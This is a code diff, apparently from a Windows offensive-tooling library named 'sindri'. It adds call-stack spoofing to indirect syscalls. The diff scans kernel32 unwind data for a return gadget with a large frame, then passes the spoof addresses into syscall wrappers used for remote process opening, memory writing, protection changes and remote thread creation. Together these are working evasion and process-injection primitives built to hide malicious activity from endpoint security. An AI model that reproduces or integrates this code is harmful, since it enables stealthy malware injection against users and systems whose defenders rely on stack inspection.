// We scan for the start of the `call dword ptr fs:[0xC0]` or `sysenter` block
// Actually, on x86, the best gadget is the entire NTDLL stub starting at the `mov edx, esp`
// or just after the `mov eax, SSN`.
// The typical NTDLL stub on x86 looks like:
// mov eax, <SSN>
// mov edx, <wow64_transition> or mov edx, esp
// call dword ptr fs:[0xC0] or sysenter or call edx
// ret XX
//
// The easiest and safest way to do indirect syscall on x86 is to jump to `exec_addr + 5`.
// `exec_addr` points to `mov eax, <SSN>` which is exactly 5 bytes (B8 XX XX 00 00).
// The instructions after that handle the transition safely for the specific OS version.
// We check if it starts with `mov eax` (0xB8) // We check if it starts with `mov eax` (0xB8)
if (ptr[0] == 0xB8) { if (ptr[0] == 0xB8) {
entry->pSyscallAddr = (PVOID)&ptr[5]; entry->pSyscallAddr = (PVOID)&ptr[5];
@@ -0,0 +1,149 @@
#include <sindri/common/debug.h>
#include <sindri/common/macros.h>
#include <sindri/common/status.h>
#include <sindri/parsers/env/peb.h>
#include <sindri/parsers/pe/exports.h>
#include <sindri/parsers/pe/parser.h>
#include <sindri/primitives/syscalls.h>
#include <sindri_hashes.h>
#include <windows.h>
snd_status_t snd_syscall_find_spoof_scan(snd_syscall_entry_t *entry) {
if (entry == NULL) {
return SND_ERR(SND_STATUS_NULL_POINTER);
}
PVOID kernel32 = NULL;
snd_status_t status = snd_peb_get_module_base_hash(SND_HASH_KERNEL32_DLL, &kernel32);
if (SND_FAILED(status)) {
return SND_ERR(SND_STATUS_NOT_INITIALIZED);
}
PVOID gadget = NULL;
#ifdef _WIN64
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)kernel32;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((ULONG_PTR)kernel32 + dos->e_lfanew);
DWORD pdata_rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress;
DWORD pdata_size = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size;
if (pdata_rva != 0 && pdata_size != 0) {
PRUNTIME_FUNCTION pdata = (PRUNTIME_FUNCTION)((ULONG_PTR)kernel32 + pdata_rva);
DWORD pdata_count = pdata_size / sizeof(RUNTIME_FUNCTION);
for (DWORD i = 0; i < pdata_count; i++) {
PRUNTIME_FUNCTION func = &pdata[i];
if (func->UnwindData == 0)
continue;
PBYTE unwind_info = (PBYTE)((ULONG_PTR)kernel32 + func->UnwindData);
BYTE version = unwind_info[0] & 7;
BYTE flags = unwind_info[0] >> 3;
if ((version != 1 && version != 2) || (flags & 4) != 0) {
continue;
}
BYTE countOfCodes = unwind_info[2];
PBYTE codes = unwind_info + 4;
DWORD frame_size = 0;
for (BYTE j = 0; j < countOfCodes;) {
BYTE unwindOp = codes[j * 2 + 1] & 0x0F;
BYTE opInfo = codes[j * 2 + 1] >> 4;
switch (unwindOp) {
case 0: // UWOP_PUSH_NONVOL
frame_size += 8;
j += 1;
break;
case 1: // UWOP_ALLOC_LARGE
if (opInfo == 0) {
frame_size += (*(USHORT *)(&codes[(j + 1) * 2])) * 8;
j += 2;
} else {
frame_size += (*(DWORD *)(&codes[(j + 1) * 2]));
j += 3;
}
break;
case 2: // UWOP_ALLOC_SMALL
frame_size += (opInfo * 8) + 8;
j += 1;
break;
case 3: // UWOP_SET_FPREG
j += 1;
break;
case 4: // UWOP_SAVE_NONVOL
j += 2;
break;
case 5: // UWOP_SAVE_NONVOL_FAR
j += 3;
break;
case 8: // UWOP_SAVE_XMM128
j += 2;
break;
case 9: // UWOP_SAVE_XMM128_FAR
j += 3;
break;
case 10: // UWOP_PUSH_MACHFRAME
j += 1;
break;
default:
j += 1;
break;
}
}
if (frame_size >= 120) {
PBYTE func_body = (PBYTE)((ULONG_PTR)kernel32 + func->BeginAddress);
DWORD func_size = func->EndAddress - func->BeginAddress;
for (DWORD k = 0; k < func_size; k++) {
if (func_body[k] == 0xC3) { // RET
gadget = &func_body[k];
entry->dwSpoofFrameSize = frame_size;
break;
}
}
if (gadget)
break;
}
}
}
#else
FARPROC exec_addr = NULL;
status = snd_pe_get_export_address_hash(kernel32, SND_SYS_DLL_SIZE_DEFAULT, SND_HASH_BASETHREADINITTHUNK,
&exec_addr, NULL);
if (SND_FAILED(status) || !exec_addr) {
return SND_ERR(SND_STATUS_SSN_NOT_FOUND);
}
// x86 fallback: basic RET scan since there is no .pdata
PBYTE scanner = (PBYTE)exec_addr;
for (int i = 0; i < 65535; i++) {
if (scanner[i] == 0xC3) { // ret
gadget = &scanner[i];
break;
}
if (scanner[-i] == 0xC3) { // ret
gadget = &scanner[-i];
break;
}
}
#endif
if (!gadget) {
return SND_ERR_CTX(SND_STATUS_GADGET_NOT_FOUND, "Could not find a trampoline gadget in kernel32.");
}
entry->pSpoofAddr = gadget;
return SND_OK;
}
@@ -15,6 +15,7 @@ static int g_strategy_count = 0;
snd_syscall_invoker_t g_syscall_invoker = SND_SYSCALL_INVOKER_DEFAULT; snd_syscall_invoker_t g_syscall_invoker = SND_SYSCALL_INVOKER_DEFAULT;
snd_syscall_gadget_finder_t g_syscall_gadget_finder = SND_SYSCALL_GADGET_FINDER_DEFAULT; snd_syscall_gadget_finder_t g_syscall_gadget_finder = SND_SYSCALL_GADGET_FINDER_DEFAULT;
snd_syscall_gadget_finder_t g_syscall_spoof_finder = SND_SYSCALL_SPOOF_FINDER_DEFAULT;
void snd_syscall_set_ntdll(PVOID ntdll_base) { void snd_syscall_set_ntdll(PVOID ntdll_base) {
if (!ntdll_base) if (!ntdll_base)
@@ -34,6 +35,12 @@ void snd_syscall_set_gadget_finder(snd_syscall_gadget_finder_t finder) {
g_syscall_gadget_finder = finder; g_syscall_gadget_finder = finder;
} }
void snd_syscall_set_spoof_finder(snd_syscall_gadget_finder_t finder) {
if (!finder)
return;
g_syscall_spoof_finder = finder;
}
void snd_syscall_set_resolver(snd_syscall_resolver_t resolver) { void snd_syscall_set_resolver(snd_syscall_resolver_t resolver) {
if (!resolver) if (!resolver)
return; return;
@@ -75,6 +82,9 @@ snd_status_t snd_syscall_resolve(DWORD func_hash, snd_syscall_entry_t *entry_out
if (g_syscall_gadget_finder != NULL) { if (g_syscall_gadget_finder != NULL) {
status = g_syscall_gadget_finder(entry_out); status = g_syscall_gadget_finder(entry_out);
} }
if (g_syscall_spoof_finder != NULL) {
status = g_syscall_spoof_finder(entry_out);
}
return status; return status;
} }
} }
+6
View File
@@ -25,6 +25,8 @@ static snd_status_t WINAPI sys_mapping_open(const wchar_t *section_name, HANDLE
snd_syscall_args_t args = {0}; snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall; args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr; args.sys_addr = entry.pSyscallAddr;
args.spoof_addr = entry.pSpoofAddr;
args.spoof_frame_size = entry.dwSpoofFrameSize;
args.arg1 = out_handle; args.arg1 = out_handle;
args.arg2 = (PVOID)(ULONG_PTR)SECTION_MAP_READ; args.arg2 = (PVOID)(ULONG_PTR)SECTION_MAP_READ;
args.arg3 = &obj_attr; args.arg3 = &obj_attr;
@@ -52,6 +54,8 @@ static snd_status_t WINAPI sys_mapping_view(HANDLE section_handle, PVOID *out_ba
snd_syscall_args_t args = {0}; snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall; args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr; args.sys_addr = entry.pSyscallAddr;
args.spoof_addr = entry.pSpoofAddr;
args.spoof_frame_size = entry.dwSpoofFrameSize;
args.arg1 = section_handle; args.arg1 = section_handle;
args.arg2 = GetCurrentProcess(); args.arg2 = GetCurrentProcess();
args.arg3 = &base_address; args.arg3 = &base_address;
@@ -88,6 +92,8 @@ static snd_status_t WINAPI sys_mapping_close(HANDLE handle) {
snd_syscall_args_t args = {0}; snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall; args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr; args.sys_addr = entry.pSyscallAddr;
args.spoof_addr = entry.pSpoofAddr;
args.spoof_frame_size = entry.dwSpoofFrameSize;
args.arg1 = handle; args.arg1 = handle;
if (g_syscall_invoker == NULL) { if (g_syscall_invoker == NULL) {
+6
View File
@@ -26,6 +26,8 @@ static snd_status_t WINAPI sys_alloc(LPVOID address, SIZE_T size, DWORD allocati
snd_syscall_args_t args = {0}; snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall; args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr; args.sys_addr = entry.pSyscallAddr;
args.spoof_addr = entry.pSpoofAddr;
args.spoof_frame_size = entry.dwSpoofFrameSize;
args.arg1 = processHandle; args.arg1 = processHandle;
args.arg2 = &baseAddress; args.arg2 = &baseAddress;
args.arg3 = 0; args.arg3 = 0;
@@ -61,6 +63,8 @@ static snd_status_t WINAPI sys_free(LPVOID address, SIZE_T size, DWORD free_type
snd_syscall_args_t args = {0}; snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall; args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr; args.sys_addr = entry.pSyscallAddr;
args.spoof_addr = entry.pSpoofAddr;
args.spoof_frame_size = entry.dwSpoofFrameSize;
args.arg1 = processHandle; args.arg1 = processHandle;
args.arg2 = &baseAddress; args.arg2 = &baseAddress;
args.arg3 = &regionSize; args.arg3 = &regionSize;
@@ -87,6 +91,8 @@ static snd_status_t WINAPI sys_protect(LPVOID address, SIZE_T size, DWORD new_pr
snd_syscall_args_t args = {0}; snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall; args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr; args.sys_addr = entry.pSyscallAddr;
args.spoof_addr = entry.pSpoofAddr;
args.spoof_frame_size = entry.dwSpoofFrameSize;
args.arg1 = processHandle; args.arg1 = processHandle;
args.arg2 = &baseAddress; args.arg2 = &baseAddress;
args.arg3 = &regionSize; args.arg3 = &regionSize;
+12
View File
@@ -27,6 +27,8 @@ static snd_status_t WINAPI sys_open_process(DWORD pid, DWORD desired_access, HAN
snd_syscall_args_t args = {0}; snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall; args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr; args.sys_addr = entry.pSyscallAddr;
args.spoof_addr = entry.pSpoofAddr;
args.spoof_frame_size = entry.dwSpoofFrameSize;
args.arg1 = out_process; args.arg1 = out_process;
args.arg2 = (PVOID)(ULONG_PTR)desired_access; args.arg2 = (PVOID)(ULONG_PTR)desired_access;
args.arg3 = &oa; args.arg3 = &oa;
@@ -56,6 +58,8 @@ static snd_status_t WINAPI sys_alloc_remote(HANDLE process, SIZE_T size, DWORD a
snd_syscall_args_t args = {0}; snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall; args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr; args.sys_addr = entry.pSyscallAddr;
args.spoof_addr = entry.pSpoofAddr;
args.spoof_frame_size = entry.dwSpoofFrameSize;
args.arg1 = process; args.arg1 = process;
args.arg2 = &local_base; args.arg2 = &local_base;
args.arg3 = 0; args.arg3 = 0;
@@ -86,6 +90,8 @@ static snd_status_t WINAPI sys_write_remote(HANDLE process, PVOID base_address,
snd_syscall_args_t args = {0}; snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall; args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr; args.sys_addr = entry.pSyscallAddr;
args.spoof_addr = entry.pSpoofAddr;
args.spoof_frame_size = entry.dwSpoofFrameSize;
args.arg1 = process; args.arg1 = process;
args.arg2 = base_address; args.arg2 = base_address;
args.arg3 = (PVOID)buffer; args.arg3 = (PVOID)buffer;
@@ -115,6 +121,8 @@ static snd_status_t WINAPI sys_protect_remote(HANDLE process, PVOID base_address
snd_syscall_args_t args = {0}; snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall; args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr; args.sys_addr = entry.pSyscallAddr;
args.spoof_addr = entry.pSpoofAddr;
args.spoof_frame_size = entry.dwSpoofFrameSize;
args.arg1 = process; args.arg1 = process;
args.arg2 = &addr; args.arg2 = &addr;
args.arg3 = &regionSize; args.arg3 = &regionSize;
@@ -144,6 +152,8 @@ static snd_status_t WINAPI sys_create_remote_thread(HANDLE process, PVOID start_
snd_syscall_args_t args = {0}; snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall; args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr; args.sys_addr = entry.pSyscallAddr;
args.spoof_addr = entry.pSpoofAddr;
args.spoof_frame_size = entry.dwSpoofFrameSize;
args.arg1 = out_thread; args.arg1 = out_thread;
args.arg2 = (PVOID)(ULONG_PTR)0x1FFFFF; args.arg2 = (PVOID)(ULONG_PTR)0x1FFFFF;
args.arg3 = NULL; args.arg3 = NULL;
@@ -172,6 +182,8 @@ static snd_status_t WINAPI sys_close_handle(HANDLE handle) {
snd_syscall_args_t args = {0}; snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall; args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr; args.sys_addr = entry.pSyscallAddr;
args.spoof_addr = entry.pSpoofAddr;
args.spoof_frame_size = entry.dwSpoofFrameSize;
args.arg1 = handle; args.arg1 = handle;
if (g_syscall_invoker == NULL) { if (g_syscall_invoker == NULL) {